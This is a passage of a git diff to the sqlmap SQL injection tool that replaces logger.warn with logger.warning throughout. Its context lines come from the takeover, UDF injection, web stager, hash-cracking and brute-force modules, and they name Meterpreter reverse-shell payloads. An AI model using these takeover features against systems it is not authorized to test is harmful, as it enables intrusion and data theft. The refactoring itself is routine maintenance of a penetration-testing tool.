os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository " warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY - logger.warn(warnMsg) + logger.warning(warnMsg) if VERSION == getLatestRevision(): logger.info("already at the latest revision '%s'" % getRevisionNumber()) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 3e789ac409f..452f894e83f 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -51,6 +51,6 @@ def parseSitemap(url, retVal=None): abortedFlag = True warnMsg = "user aborted during sitemap parsing. sqlmap " warnMsg += "will use partial list" - logger.warn(warnMsg) + logger.warning(warnMsg) return retVal diff --git a/lib/request/connect.py b/lib/request/connect.py index bf752bce9dc..c630519c7bf 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -169,7 +169,7 @@ def _retryProxy(**kwargs): if conf.proxyList and threadData.retriesCount >= conf.retries and not kb.locks.handlers.locked(): warnMsg = "changing proxy" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.proxy = None threadData.retriesCount = 0 @@ -312,7 +312,7 @@ def getPage(**kwargs): conf.proxy = None warnMsg = "changing proxy" - logger.warn(warnMsg) + logger.warning(warnMsg) setHTTPHandlers() @@ -703,7 +703,7 @@ class _(dict): conn.close() except Exception as ex: warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex) - logger.warn(warnMsg) + logger.warning(warnMsg) except SqlmapConnectionException as ex: if conf.proxyList and not kb.threadException: @@ -730,7 +730,7 @@ class _(dict): except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % ex.code - logger.warn(warnMsg) + logger.warning(warnMsg) return None, None, None except KeyboardInterrupt: raise @@ -927,7 +927,7 @@ class _(dict): if conf.retryOn and re.search(conf.retryOn, page, re.I): if threadData.retriesCount < conf.retries: warnMsg = "forced retry of the request because of undesired page content" - logger.warn(warnMsg) + logger.warning(warnMsg) return Connect._retryProxy(**kwargs) processResponse(page, responseHeaders, code, status) @@ -1174,7 +1174,7 @@ def _adjustParameter(paramString, parameter, newValue): if attempt > 0: warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) warnMsg += ". sqlmap is going to retry the request" - logger.warn(warnMsg) + logger.warning(warnMsg) page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') diff --git a/lib/request/inject.py b/lib/request/inject.py index 2e3cf023907..7d584e8bebf 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -270,7 +270,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" - logger.warn(warnMsg) + logger.warning(warnMsg) stopLimit = 1 @@ -278,7 +278,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" - logger.warn(warnMsg) + logger.warning(warnMsg) return None @@ -298,7 +298,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char except KeyboardInterrupt: print() warnMsg = "user aborted during dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) return outputs diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 29c6b21d3f1..bb2faf01e4a 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -211,7 +211,7 @@ def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): warnMsg += "were able to extract and crack a DBA " warnMsg += "password by any mean" - logger.warn(warnMsg) + logger.warning(warnMsg) if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): success = True diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 48acaab569a..be87387bee7 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -72,7 +72,7 @@ def _selectLhost(self): raise SqlmapDataException("local host address is missing") elif address and not valid: warnMsg = "invalid local host address" - logger.warn(warnMsg) + logger.warning(warnMsg) return address diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index be982ec37aa..b322fc44cfa 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -206,7 +206,7 @@ def _selectPayload(self): warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" - logger.warn(warnMsg) + logger.warning(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): choose = True @@ -215,7 +215,7 @@ def _selectPayload(self): warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" - logger.warn(warnMsg) + logger.warning(warnMsg) if choose: message = "what do you want to do?\n" @@ -236,23 +236,23 @@ def _selectPayload(self): elif choice == "1": if Backend.isDbms(DBMS.PGSQL): - logger.warn("beware that the VNC injection might not work") + logger.warning("beware that the VNC injection might not work") break elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): break elif not isDigit(choice): - logger.warn("invalid value, only digits are allowed") + logger.warning("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: - logger.warn("invalid value, it must be 1 or 2") + logger.warning("invalid value, it must be 1 or 2") if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" - logger.warn(warnMsg) + logger.warning(warnMsg) self.connectionStr = "reverse_tcp" diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index c51f8171786..d3b1a21c12d 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -198,7 +198,7 @@ def udfInjectCustom(self): if not self.isDba(): warnMsg = "functionality requested probably does not work because " warnMsg += "the current session user is not a database administrator" - logger.warn(warnMsg) + logger.warning(warnMsg) if not conf.shLib: msg = "what is the local path of the shared library? " @@ -209,7 +209,7 @@ def udfInjectCustom(self): if self.udfLocalFile: break else: - logger.warn("you need to specify the local path of the shared library") + logger.warning("you need to specify the local path of the shared library") else: self.udfLocalFile = conf.shLib @@ -249,7 +249,7 @@ def udfInjectCustom(self): else: break else: - logger.warn("invalid value, only digits are allowed") + logger.warning("invalid value, only digits are allowed") for x in xrange(0, udfCount): while True: @@ -260,7 +260,7 @@ def udfInjectCustom(self): self.udfs[udfName] = {} break else: - logger.warn("you need to specify the name of the UDF") + logger.warning("you need to specify the name of the UDF") if Backend.isDbms(DBMS.MYSQL): defaultType = "string" @@ -280,7 +280,7 @@ def udfInjectCustom(self): break else: - logger.warn("invalid value, only digits >= 0 are allowed") + logger.warning("invalid value, only digits >= 0 are allowed") for y in xrange(0, parCount): msg = "what is the data-type of input parameter " @@ -290,7 +290,7 @@ def udfInjectCustom(self): parType = readInput(msg, default=defaultType).strip() if parType.isdigit(): - logger.warn("you need to specify the data-type of the parameter") + logger.warning("you need to specify the data-type of the parameter") else: self.udfs[udfName]["input"].append(parType) @@ -303,7 +303,7 @@ def udfInjectCustom(self): retType = readInput(msg, default=defaultType) if hasattr(retType, "isdigit") and retType.isdigit(): - logger.warn("you need to specify the data-type of the return value") + logger.warning("you need to specify the data-type of the return value") else: self.udfs[udfName]["return"] = retType break @@ -346,7 +346,7 @@ def udfInjectCustom(self): else: warnMsg = "invalid value, only digits >= 1 and " warnMsg += "<= %d are allowed" % len(udfList) - logger.warn(warnMsg) + logger.warning(warnMsg) if not isinstance(choice, int): break @@ -370,7 +370,7 @@ def udfInjectCustom(self): break else: - logger.warn("you need to specify the value of the parameter") + logger.warning("you need to specify the value of the parameter") count += 1 diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 78d231bed14..93cb79f239a 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -137,7 +137,7 @@ def _webFileStreamUpload(self, stream, destFileName, directory): if "File uploaded" not in (page or ""): warnMsg = "unable to upload the file through the web file " warnMsg += "stager to '%s'" % directory - logger.warn(warnMsg) + logger.warning(warnMsg) return False else: return True @@ -202,10 +202,10 @@ def webInit(self): choice = readInput(message, default=str(default)) if not isDigit(choice): - logger.warn("invalid value, only digits are allowed") + logger.warning("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): - logger.warn("invalid value, it must be between 1 and %d" % len(choices)) + logger.warning("invalid value, it must be between 1 and %d" % len(choices)) else: self.webPlatform = choices[int(choice) - 1] @@ -362,7 +362,7 @@ def webInit(self): if "<%" in uplPage or " 1 else '') - logger.warn(warnMsg) + logger.warning(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 6cb546c5845..078c04b4e5b 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -167,7 +167,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) - logger.warn(warnMsg) + logger.warning(warnMsg) if not kb.testMode: check = r"(?P[^<>\n]*?)%s" % kb.chars.stop[:2] @@ -351,7 +351,7 @@ def errorUse(expression, dump=False): warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" - logger.warn(warnMsg) + logger.warning(warnMsg) stopLimit = 1 @@ -359,7 +359,7 @@ def errorUse(expression, dump=False): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" - logger.warn(warnMsg) + logger.warning(warnMsg) else: value = [] # for empty tables return value @@ -445,7 +445,7 @@ def errorThread(): abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" - logger.warn(warnMsg) + logger.warning(warnMsg) finally: threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered)) diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index c98e6fb06cf..64b5be0aac9 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -275,7 +275,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower() if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" - logger.warn(warnMsg) + logger.warning(warnMsg) vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() @@ -284,7 +284,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO warnMsg = "combined UNION/error-based SQL injection case found on " warnMsg += "column %d. sqlmap will try to find another " % (position + 1) warnMsg += "column with better characteristics" - logger.warn(warnMsg) + logger.warning(warnMsg) else: break diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index df3f70660a8..b77cc646d01 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -167,7 +167,7 @@ def _(regex): warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) - logger.warn(warnMsg) + logger.warning(warnMsg) elif re.search(r"ORDER BY [^ ]+\Z", expression): debugMsg = "retrying failed SQL query without the ORDER BY clause" @@ -304,7 +304,7 @@ def unionUse(expression, unpack=True, dump=False): warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" - logger.warn(warnMsg) + logger.warning(warnMsg) stopLimit = 1 @@ -312,7 +312,7 @@ def unionUse(expression, unpack=True, dump=False): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" - logger.warn(warnMsg) + logger.warning(warnMsg) else: value = [] # for empty tables return value @@ -429,7 +429,7 @@ def unionThread(): warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" - logger.warn(warnMsg) + logger.warning(warnMsg) finally: for _ in sorted(threadData.shared.buffered): diff --git a/lib/utils/brute.py b/lib/utils/brute.py index 6f6d710ee94..f9fe080894e 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -66,7 +66,7 @@ def tableExists(tableFile, regex=None): if kb.choices.tableExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common table existence check" - logger.warn(warnMsg) + logger.warning(warnMsg) message = "are you sure you want to continue? [y/N] " kb.choices.tableExists = readInput(message, default='N', boolean=True) @@ -160,7 +160,7 @@ def tableExistsThread(): except KeyboardInterrupt: warnMsg = "user aborted during table existence " warnMsg += "check. sqlmap will display partial output" - logger.warn(warnMsg) + logger.warning(warnMsg) clearConsoleLine(True) dataToStdout("\n") @@ -169,7 +169,7 @@ def tableExistsThread(): warnMsg = "no table(s) found" if conf.db: warnMsg += " for database '%s'" % conf.db - logger.warn(warnMsg) + logger.warning(warnMsg) else: for item in threadData.shared.files: if conf.db not in kb.data.cachedTables: @@ -190,7 +190,7 @@ def columnExists(columnFile, regex=None): if kb.choices.columnExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += "for common column existence check" - logger.warn(warnMsg) + logger.warning(warnMsg) message = "are you sure you want to continue? [y/N] " kb.choices.columnExists = readInput(message, default='N', boolean=True) @@ -281,7 +281,7 @@ def columnExistsThread(): except KeyboardInterrupt: warnMsg = "user aborted during column existence " warnMsg += "check. sqlmap will display partial output" - logger.warn(warnMsg) + logger.warning(warnMsg) finally: kb.bruteMode = False @@ -290,7 +290,7 @@ def columnExistsThread(): if not threadData.shared.files: warnMsg = "no column(s) found" - logger.warn(warnMsg) + logger.warning(warnMsg) else: columns = {} @@ -394,7 +394,7 @@ def fileExistsThread(): except KeyboardInterrupt: warnMsg = "user aborted during file existence " warnMsg += "check. sqlmap will display partial output" - logger.warn(warnMsg) + logger.warning(warnMsg) finally: kb.bruteMode = False logger.setLevel(popValue()) @@ -404,7 +404,7 @@ def fileExistsThread(): if not threadData.shared.files: warnMsg = "no file(s) found" - logger.warn(warnMsg) + logger.warning(warnMsg) else: retVal = threadData.shared.files diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 7ca93ef1697..02151454198 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -162,7 +162,7 @@ def crawlThread(): except SqlmapConnectionException as ex: if "page not found" in getSafeExString(ex): found = False - logger.warn("'sitemap.xml' not found") + logger.warning("'sitemap.xml' not found") except: pass finally: @@ -198,7 +198,7 @@ def crawlThread(): except KeyboardInterrupt: warnMsg = "user aborted during crawling. sqlmap " warnMsg += "will use partial list" - logger.warn(warnMsg) + logger.warning(warnMsg) finally: clearConsoleLine(True) @@ -208,7 +208,7 @@ def crawlThread(): warnMsg = "no usable links found (with GET parameters)" if conf.forms: warnMsg += " or forms" - logger.warn(warnMsg) + logger.warning(warnMsg) else: for url in threadData.shared.value: kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None)) diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 50708e6a717..846f2637f62 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -26,7 +26,7 @@ def checkDependencies(): warnMsg = "'%s' third-party library must be " % data[1] warnMsg += "version >= 1.0.2 to work properly. " warnMsg += "Download from '%s'" % data[2] - logger.warn(warnMsg) + logger.warning(warnMsg) elif dbmsName == DBMS.MYSQL: __import__("pymysql") elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB): @@ -62,7 +62,7 @@ def checkDependencies(): warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " warnMsg += "'%s'. Download from '%s'" % (dbmsName, data[2]) - logger.warn(warnMsg) + logger.warning(warnMsg) missing_libraries.add(data[1]) continue @@ -78,7 +78,7 @@ def checkDependencies(): warnMsg = "sqlmap requires 'python-impacket' third-party library for " warnMsg += "out-of-band takeover feature. Download from " warnMsg += "'https://github.com/coresecurity/impacket'" - logger.warn(warnMsg) + logger.warning(warnMsg) missing_libraries.add('python-impacket') try: @@ -89,7 +89,7 @@ def checkDependencies(): warnMsg = "sqlmap requires 'python-ntlm' third-party library " warnMsg += "if you plan to attack a web application behind NTLM " warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'" - logger.warn(warnMsg) + logger.warning(warnMsg) missing_libraries.add('python-ntlm') try: @@ -100,7 +100,7 @@ def checkDependencies(): warnMsg = "sqlmap requires 'websocket-client' third-party library " warnMsg += "if you plan to attack a web application using WebSocket. " warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'" - logger.warn(warnMsg) + logger.warning(warnMsg) missing_libraries.add('websocket-client') try: @@ -110,7 +110,7 @@ def checkDependencies(): except ImportError: warnMsg = "sqlmap requires 'tkinter' library " warnMsg += "if you plan to run a GUI" - logger.warn(warnMsg) + logger.warning(warnMsg) missing_libraries.add('tkinter') try: @@ -120,7 +120,7 @@ def checkDependencies(): except ImportError: warnMsg = "sqlmap requires 'tkinter.ttk' library " warnMsg += "if you plan to run a GUI" - logger.warn(warnMsg) + logger.warning(warnMsg) missing_libraries.add('tkinter.ttk') if IS_WIN: @@ -134,7 +134,7 @@ def checkDependencies(): warnMsg += "completion and history support features in the SQL " warnMsg += "shell and OS shell. Download from " warnMsg += "'https://pypi.org/project/pyreadline/'" - logger.warn(warnMsg) + logger.warning(warnMsg) missing_libraries.add('python-pyreadline') if len(missing_libraries) == 0: diff --git a/lib/utils/hash.py b/lib/utils/hash.py index c1df2d22c3e..b716a54fae8 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -701,7 +701,7 @@ def attackDumpedTable(): _ = ','.join(binary_fields) warnMsg = "potential binary fields detected ('%s'). In case of any problems you are " % _ warnMsg += "advised to rerun table dump with '--fresh-queries --binary-fields=\"%s\"'" % _ - logger.warn(warnMsg) + logger.warning(warnMsg) for i in xrange(count): if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD: @@ -1064,7 +1064,7 @@ def dictionaryAttack(attack_dict): item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}] else: warnMsg = "invalid hash '%s'" % hash_ - logger.warn(warnMsg) + logger.warning(warnMsg) if item and hash_ not in keys: resumed = hashDBRetrieve(hash_) @@ -1197,7 +1197,7 @@ def dictionaryAttack(attack_dict): print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" - logger.warn(warnMsg) + logger.warning(warnMsg) finally: _finalize(retVal, results, processes, attack_info) @@ -1272,7 +1272,7 @@ class Value(object): print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" - logger.warn(warnMsg) + logger.warning(warnMsg) for process in processes: try: @@ -1290,11 +1290,11 @@ class Value(object): if foundHash and len(hash_regexes) == 0: warnMsg = "unknown hash format" - logger.warn(warnMsg) + logger.warning(warnMsg) if len(results) == 0: warnMsg = "no clear password(s) found" - logger.warn(warnMsg) + logger.warning(warnMsg) return results diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 4b346a77185..128720dd1c4 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -116,7 +116,7 @@ def retrieve(self, key, unserialize=False): retVal = None warnMsg = "error occurred while unserializing value for session key '%s'. " % key warnMsg += "If the problem persists please rerun with '--flush-session'" - logger.warn(warnMsg) + logger.warning(warnMsg) return retVal @@ -163,7 +163,7 @@ def flush(self, forced=False): if retries == 0: warnMsg = "there has been a problem while writing to " warnMsg += "the session file ('%s')" % getSafeExString(ex) - logger.warn(warnMsg) + logger.warning(warnMsg) if retries >= HASHDB_FLUSH_RETRIES: return diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index a6198706009..a36ab80e8db 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -88,7 +88,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): if not validPivotValue: warnMsg = "column '%s' not " % conf.pivotColumn warnMsg += "found in table '%s'" % table - logger.warn(warnMsg) + logger.warning(warnMsg) if not validPivotValue: for column in colList: @@ -120,7 +120,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): if not validPivotValue: warnMsg = "no proper pivot column provided (with unique values)." warnMsg += " It won't be possible to retrieve all rows" - logger.warn(warnMsg) + logger.warning(warnMsg) pivotValue = " " breakRetrieval = False @@ -177,7 +177,7 @@ def _(column, pivotValue): warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" - logger.warn(warnMsg) + logger.warning(warnMsg) except SqlmapConnectionException as ex: errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex) diff --git a/lib/utils/purge.py b/lib/utils/purge.py index 8d1aed5a13e..3272614692b 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -26,7 +26,7 @@ def purge(directory): if not os.path.isdir(directory): warnMsg = "skipping purging of directory '%s' as it does not exist" % directory - logger.warn(warnMsg) + logger.warning(warnMsg) return infoMsg = "purging content of directory '%s'..." % directory diff --git a/lib/utils/search.py b/lib/utils/search.py index 12f167b4fb6..2b4a12b979d 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -196,7 +196,7 @@ def search(dork): logger.critical(getSafeExString(ex)) warnMsg = "changing proxy" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.proxy = None diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index a3e5b2dfcff..04a050a429e 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -11,74 +11,74 @@ class Enumeration(GenericEnumeration): def getBanner(self): warnMsg = "on Microsoft Access it is not possible to get the banner" - logger.warn(warnMsg) + logger.warning(warnMsg) return None def getCurrentUser(self): warnMsg = "on Microsoft Access it is not possible to enumerate the current user" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on Microsoft Access it is not possible to get name of the current database" - logger.warn(warnMsg) + logger.warning(warnMsg) def isDba(self, user=None): warnMsg = "on Microsoft Access it is not possible to test if current user is DBA" - logger.warn(warnMsg) + logger.warning(warnMsg) def getUsers(self): warnMsg = "on Microsoft Access it is not possible to enumerate the users" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Microsoft Access it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on Microsoft Access it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getDbs(self): warnMsg = "on Microsoft Access it is not possible to enumerate databases (use only '--tables')" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on Microsoft Access it is not possible to search databases" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Microsoft Access it is not possible to search tables" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Microsoft Access it is not possible to search columns" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def search(self): warnMsg = "on Microsoft Access search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) def getHostname(self): warnMsg = "on Microsoft Access it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getStatements(self): warnMsg = "on Microsoft Access it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 852ea5c814d..e1227bef556 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -166,7 +166,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS - logger.warn(warnMsg) + logger.warning(warnMsg) return False setDbms(DBMS.ACCESS) @@ -185,7 +185,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/altibase/enumeration.py b/plugins/dbms/altibase/enumeration.py index 048227a7000..0628c8eebf5 100644 --- a/plugins/dbms/altibase/enumeration.py +++ b/plugins/dbms/altibase/enumeration.py @@ -11,10 +11,10 @@ class Enumeration(GenericEnumeration): def getStatements(self): warnMsg = "on Altibase it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getHostname(self): warnMsg = "on Altibase it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) diff --git a/plugins/dbms/altibase/fingerprint.py b/plugins/dbms/altibase/fingerprint.py index 79cc7058c48..fec86354f04 100644 --- a/plugins/dbms/altibase/fingerprint.py +++ b/plugins/dbms/altibase/fingerprint.py @@ -79,7 +79,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -90,6 +90,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/cache/enumeration.py b/plugins/dbms/cache/enumeration.py index 9ef812a04f8..56e580f00b7 100644 --- a/plugins/dbms/cache/enumeration.py +++ b/plugins/dbms/cache/enumeration.py @@ -15,34 +15,34 @@ def getCurrentDb(self): def getUsers(self): warnMsg = "on Cache it is not possible to enumerate the users" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Cache it is not possible to enumerate password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on Cache it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getStatements(self): warnMsg = "on Cache it is not possible to enumerate the SQL statements" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getRoles(self, *args, **kwargs): warnMsg = "on Cache it is not possible to enumerate the user roles" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on Cache it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) diff --git a/plugins/dbms/cache/fingerprint.py b/plugins/dbms/cache/fingerprint.py index 92f03effb56..d226529340e 100644 --- a/plugins/dbms/cache/fingerprint.py +++ b/plugins/dbms/cache/fingerprint.py @@ -97,7 +97,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -108,6 +108,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/cratedb/connector.py b/plugins/dbms/cratedb/connector.py index c215073259e..2b9b7782991 100644 --- a/plugins/dbms/cratedb/connector.py +++ b/plugins/dbms/cratedb/connector.py @@ -46,7 +46,7 @@ def fetchall(self): try: return self.cursor.fetchall() except psycopg2.ProgrammingError as ex: - logger.warn(getSafeExString(ex)) + logger.warning(getSafeExString(ex)) return None def execute(self, query): @@ -56,7 +56,7 @@ def execute(self, query): self.cursor.execute(query) retVal = True except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: - logger.warn(("(remote) '%s'" % getSafeExString(ex)).strip()) + logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) except psycopg2.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/cratedb/enumeration.py b/plugins/dbms/cratedb/enumeration.py index 5d6f5bff2a7..9f7c802d4bc 100644 --- a/plugins/dbms/cratedb/enumeration.py +++ b/plugins/dbms/cratedb/enumeration.py @@ -11,12 +11,12 @@ class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on CrateDB it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getRoles(self, *args, **kwargs): warnMsg = "on CrateDB it is not possible to enumerate the user roles" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} diff --git a/plugins/dbms/cratedb/fingerprint.py b/plugins/dbms/cratedb/fingerprint.py index 183447cee2b..58b4796b4df 100644 --- a/plugins/dbms/cratedb/fingerprint.py +++ 